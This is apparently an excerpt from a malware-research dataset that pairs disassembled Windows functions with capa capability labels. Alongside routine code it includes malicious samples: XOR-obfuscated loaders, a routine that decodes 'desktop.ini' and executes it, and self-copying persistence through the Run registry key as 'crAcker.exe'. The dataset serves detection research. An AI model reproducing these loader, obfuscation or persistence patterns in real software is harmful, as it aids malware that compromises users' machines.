joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4077a5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f180]
jne 0x4077af
repz ret
jmp fcn.0040bb07

Function at 0x41d205
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040e88e
and dword [ebp - 4], 0
cmp dword [0x430cf8], 0
mov ebx, eax
jne 0x41d2b6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41d367
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x42d324
push edi
call esi
test eax, eax
je 0x41d367
push eax
call fcn.0040e81c
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x430cf8], eax
call esi
push eax
call fcn.0040e81c
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x430cfc], eax
call esi
push eax
call fcn.0040e81c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x430d00], eax
call esi
push eax
call fcn.0040e81c
pop ecx
mov dword [0x430d08], eax
test eax, eax
je 0x41d2b6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040e81c
pop ecx
mov dword [0x430d04], eax
mov eax, dword [0x430d04]
cmp eax, ebx
je 0x41d30e
cmp dword [0x430d08], ebx
je 0x41d30e
push eax
call fcn.0040e897
push dword [0x430d08]
mov esi, eax
call fcn.0040e897
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41d30e
test edi, edi
je 0x41d30e
call esi
test eax, eax
je 0x41d305
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41d305
test byte [ebp - 0xc], 1
jne 0x41d30e
or dword [ebp + 0x10], 0x200000
jmp 0x41d347
mov eax, dword [0x430cfc]
cmp eax, ebx
je 0x41d347
push eax
call fcn.0040e897
pop ecx
test eax, eax
je 0x41d347
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41d347
mov eax, dword [0x430d00]
cmp eax, ebx
je 0x41d347
push eax
call fcn.0040e897
pop ecx
test eax, eax
je 0x41d347
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x430cf8]
call fcn.0040e897
pop ecx
test eax, eax
je 0x41d367
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41d369
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42443e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x42446f
call fcn.0040c9fa
mov dword [eax], esi
call fcn.0040c9e7
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0040bd83
add esp, 0x14
push 0x16
pop eax
jmp 0x4244c4
test dword [ebp + 0xc], 0xfffffff9
jne 0x42444b
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x42449c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040ca0d
pop ecx
call fcn.0040c9e7
mov eax, dword [eax]
jmp 0x4244c4
test al, 0x10
jne 0x4244c2
test al, 1
je 0x4244c2
test byte [ebp + 0xc], 2
je 0x4244c2
call fcn.0040c9fa
mov dword [eax], 5
call fcn.0040c9e7
mov dword [eax], 0xd
jmp 0x424493
xor eax, eax
pop esi
pop ebp
ret
Function at 0xaaa0f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x4be000]
push edi
or ebp, 0xffffffff
jmp 0xaaa112
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xaaa119
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xaaa108
mov eax, 1
add ebx, ebx
jne 0xaaa12b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xaaa13c
jne 0xaaa15b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xaaa15b
dec eax
add ebx, ebx
jne 0xaaa148
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xaaa120
add ebx, ebx
jne 0xaaa157
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xaaa1ad
xor ecx, ecx
sub eax, 3
jb 0xaaa173
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xaaa1e2
sar eax, 1
mov ebp, eax
jmp 0xaaa17e
add ebx, ebx
jne 0xaaa17e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xaaa14c
inc ecx
add ebx, ebx
jne 0xaaa18c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xaaa14c
add ebx, ebx
jne 0xaaa199
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xaaa18e
jne 0xaaa1aa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xaaa18e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xaaa1cc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xaaa1be
jmp 0xaaa10e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xaaa1cc
add edi, ecx
jmp 0xaaa10e
pop esi
mov edi, esi
mov ecx, 0x24c69
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xaaa1ea
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xaaa1ef
lea edi, [esi + 0x6a6000]
mov eax, dword [edi]
or eax, eax
je 0xaaa257
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x6b4244]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x6b4368]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xaaa215
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x6b4370]
or eax, eax
je 0xaaa251
mov dword [ebx], eax
add ebx, 4
jmp 0xaaa232
call dword [esi + 0x6b436c]
mov ebp, dword [esi + 0x6b4374]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xaaa28b
sub esp, 0xffffff80
jmp 0x85d758

Function at 0x438c9d
Capabilities:
Encode data using xor

Disassembly:
push 0x438a14
pop eax
sub ecx, edx
dec ecx
call fcn.00438cd2
inc ecx
xor dword [esi], eax
inc edx
add esi, 1
sub edx, ecx
add ecx, 1
cmp esi, edi
jne fcn.00438c9d
add edx, edx
add edx, ecx
mov ecx, 0x89671f7c
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x4312494e
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..text_1
nop
nop
mov ebx, 0x42cd70
mov ecx, 0x355b43df
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x43534b
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0042708b
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x435383
xor eax, eax
jmp 0x4353af
cmp esi, dword [ebp - 4]
je 0x4353ac
cmp dword [ebp + 0xc], 0
je 0x4353ac
push dword [edi + 0x9c]
call fcn.00434f59
push dword [edi + 0x9c]
mov esi, eax
call fcn.00424fcd
pop ecx
pop ecx
cmp esi, eax
je 0x43537f
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x8c2128
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x8c1ea3
add ecx, ecx
or ecx, esi
sub esi, 0x59957684
call fcn.008c216e
sub ecx, 0xf1ace83b
and esi, ecx
xor dword [eax], edx
dec esi
sub esi, 0xb00cd554
inc eax
sub ecx, 0x4e90196a
inc esi
sub esi, 1
cmp eax, edi
jne fcn.008c2128
sub ecx, 0xb9466aac
ret
Function at 0x412f50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x412f7d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x412f7d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x401290
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
call fcn.00401320
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._2
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.DLL_CreateThread
sub esp, 0x18
mov dword [esp], 0xea60
call sub.KERNEL32.DLL_Sleep
sub esp, 4
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sym._4
jmp 0x4012d2
Function at 0x4016c2
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a8
mov dword [esp], 0x3a98
call sub.KERNEL32.DLL_Sleep
sub esp, 4
mov dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x48c]
cmp dword [eax*4 + section..data], 0
je 0x4016cb
mov eax, dword [ebp - 0x48c]
mov eax, dword [eax*4 + section..data]
mov dword [esp + 4], eax
lea eax, [ebp - 0x378]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov eax, dword [ebp - 0x48c]
mov eax, dword [eax*4 + section..data]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s.
lea eax, [ebp - 0x268]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
lea eax, [ebp - 0x268]
mov dword [esp], eax
call sub.KERNEL32.DLL_FindFirstFileA
sub esp, 8
mov dword [ebp - 0x14c], eax
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14c]
mov dword [esp], eax
call sub.KERNEL32.DLL_FindNextFileA
sub esp, 8
test eax, eax
je 0x4017f7
cmp dword [ebp - 0x148], 0x20
jne 0x40175b
mov eax, dword [ebp - 0x48c]
mov dword [esp + 4], 0x404000
mov eax, dword [eax*4 + section..data]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4017b7
lea eax, [ebp - 0x148]
add eax, 0x2c
mov dword [esp], eax
call sym._1
jmp 0x40175b
lea eax, [ebp - 0x148]
add eax, 0x2c
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x378]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sym._1
jmp 0x40175b
mov eax, dword [ebp - 0x14c]
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
sub esp, 4
lea eax, [ebp - 0x48c]
inc dword [eax]
jmp 0x4016e4
Function at 0x401a78
Capabilities:
Copy file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
mov edx, eax
mov dword [esp + 8], 0x103
lea eax, [ebp - 0x128]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.DLL_GetModuleFileNameA
sub esp, 0xc
mov dword [esp + 4], 0x103
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
sub esp, 8
mov dword [esp + 4], str.crAcker.exe
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x238]
lea edx, [ebp - 0x128]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x401b9f
mov dword [esp + 8], 0
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sub.KERNEL32.DLL_CopyFileA
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x238]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Win32.crAcker.A
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, 0
leave
ret

Function at 0x401bb0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.00402110
call sym.___main
call sub.KERNEL32.DLL_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x401be8
jmp 0x401c86
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x401be7
cmp cl, 0x22
je 0x401c40
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x401c60
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x401c60
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x401c20
jmp 0x401c60
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x401c40
cmp cl, 0x22
je 0x401cc2
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x401c80
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x401c70
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x401ca4
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call sym._V
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x401c60
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
mov ecx, 0x1f8c515b
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..text_1
mov ebx, 0x42cd70
nop
mov ecx, 0x78a555ec
nop
nop
nop
nop
test eax, eax
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x401011
Capabilities:
Access firewall settings via inetfwmgr

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp byte [esi + 0x14], 0
je 0x401020
mov al, 1
leave
ret
push ebx
lea ebx, [esi + 4]
push ebx
push 0x41eab4
push 1
push 0
push 0x41eaa4
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jge 0x401041
xor al, al
jmp 0x4010aa
mov eax, dword [ebx]
mov ecx, dword [eax]
push edi
lea edi, [esi + 8]
push edi
push eax
call dword [ecx + 0x1c]
test eax, eax
jl 0x40109f
mov eax, dword [edi]
mov ecx, dword [eax]
lea ebx, [esi + 0xc]
push ebx
push eax
call dword [ecx + 0x1c]
mov dword [ebp - 8], eax
test eax, eax
jge 0x401092
and dword [ebp - 4], 0
cmp dword [ebp - 4], 0x3c
jge 0x40108c
mov eax, dword [edi]
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x1c]
mov dword [ebp - 8], eax
test eax, eax
jge 0x401092
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp - 4]
jmp 0x401069
cmp dword [ebp - 8], 0
jl 0x40109f
mov ebx, dword [ebx]
mov eax, dword [ebx]
push esi
push ebx
call dword [eax + 0x50]
test eax, eax
jge 0x4010a3
xor al, al
jmp 0x4010a9
mov byte [esi + 0x14], 1
mov al, 1
pop edi
pop ebx
leave
ret
Function at 0x401749
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push edi
mov edi, eax
xor ebx, ebx
cmp dword [edi + 0x10], ebx
je 0x4018eb
cmp byte [edi + 0x14], bl
je 0x4018eb
mov eax, dword [edi + 0x10]
lea edx, [ebp - 0x1c]
push edx
push 2
mov dword [ebp - 8], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x24], ebx
mov ecx, dword [eax]
push eax
mov dword [ebp - 4], ebx
call dword [ecx + 0x20]
mov eax, dword [edi + 0x10]
mov ecx, dword [eax]
lea edx, [ebp - 0x20]
push edx
push 1
push eax
call dword [ecx + 0x20]
mov eax, dword [edi + 0x10]
mov ecx, dword [eax]
lea edx, [ebp - 0x24]
push edx
push 4
push eax
call dword [ecx + 0x20]
cmp word [ebp - 0x1c], bx
jne 0x4017c3
cmp word [ebp - 0x20], bx
jne 0x4017c3
cmp word [ebp - 0x24], bx
jne 0x4017c3
mov dword [ebp - 4], ebx
jmp 0x4018bf
push esi
push dword [ebp + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call esi
push str.EEventManager_Application
mov dword [ebp - 0x2c], eax
call esi
push str.EEventManager.exe___Push_Scan_Discovery
mov dword [ebp - 0xc], eax
call esi
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x2c], ebx
je 0x4018aa
cmp dword [ebp - 0xc], ebx
je 0x4018a5
cmp eax, ebx
je 0x4018a5
mov eax, dword [edi + 0x10]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push eax
call dword [ecx + 0x48]
test eax, eax
jge 0x401824
push str.Failed_to_retrieve_firewall_rules_collection_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x40183f
mov edi, dword [edi + 0x10]
lea ecx, [ebp - 0x28]
push ecx
push dword [ebp - 0x10]
mov dword [ebp - 0x28], ebx
mov eax, dword [edi]
push 7
push edi
call dword [eax + 0x54]
cmp word [ebp - 0x28], bx
je 0x401844
mov dword [ebp - 4], ebx
jmp 0x4018a5
mov ecx, dword [ebp - 8]
call fcn.0040152a
push 6
push dword [ebp + 8]
lea eax, [ebp - 0x14]
call fcn.00401360
cmp eax, ebx
mov dword [ebp - 4], eax
jl 0x40189a
push 0x11
push dword [ebp + 8]
lea eax, [ebp - 0x18]
call fcn.00401360
cmp eax, ebx
mov dword [ebp - 4], eax
jl 0x40189a
mov eax, dword [ebp - 8]
push dword [ebp - 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x20]
cmp eax, ebx
mov dword [ebp - 4], eax
jl 0x40189a
mov eax, dword [ebp - 8]
push dword [ebp - 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x20]
cmp eax, ebx
mov dword [ebp - 4], eax
jge 0x4018a5
push str.Failed_to_add_firewall_rule_to_the_firewall_rules_collection_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push dword [ebp - 0x2c]
call esi
cmp dword [ebp - 0xc], ebx
je 0x4018b4
push dword [ebp - 0xc]
call esi
cmp dword [ebp - 0x10], ebx
je 0x4018be
push dword [ebp - 0x10]
call esi
pop esi
mov eax, dword [ebp - 0x14]
cmp eax, ebx
je 0x4018cc
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
cmp eax, ebx
je 0x4018d9
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 8]
cmp eax, ebx
je 0x4018e6
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
jmp 0x4018f0
mov eax, 0x80004005
pop edi
pop ebx
leave
ret 4
Function at 0x40191b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x4221b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov edi, edx
cmp dword [esi], ebx
je 0x4019d3
cmp dword [esi + 4], ebx
je 0x4019d3
lea eax, [ebp - 0x210]
push eax
push 0x17
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x210]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov eax, dword [esi]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x50]
mov eax, dword [esi]
mov ecx, dword [eax]
push 5
push eax
call dword [ecx + 0x3c]
mov eax, dword [esi]
mov ecx, dword [eax]
mov edi, 0x41e56c
push edi
push eax
call dword [ecx + 0x24]
mov eax, dword [esi]
mov ecx, dword [eax]
push ebx
push ebx
push eax
call dword [ecx + 0x44]
mov eax, dword [esi]
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x34]
mov eax, dword [esi]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x1c]
push str.Epson_SoftwareEvent_Manager.lnk
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004095bf
mov esi, dword [esi + 4]
mov eax, dword [esi]
add esp, 0xc
push 1
lea ecx, [ebp - 0x20c]
push ecx
push esi
call dword [eax + 0x18]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040900b
leave
ret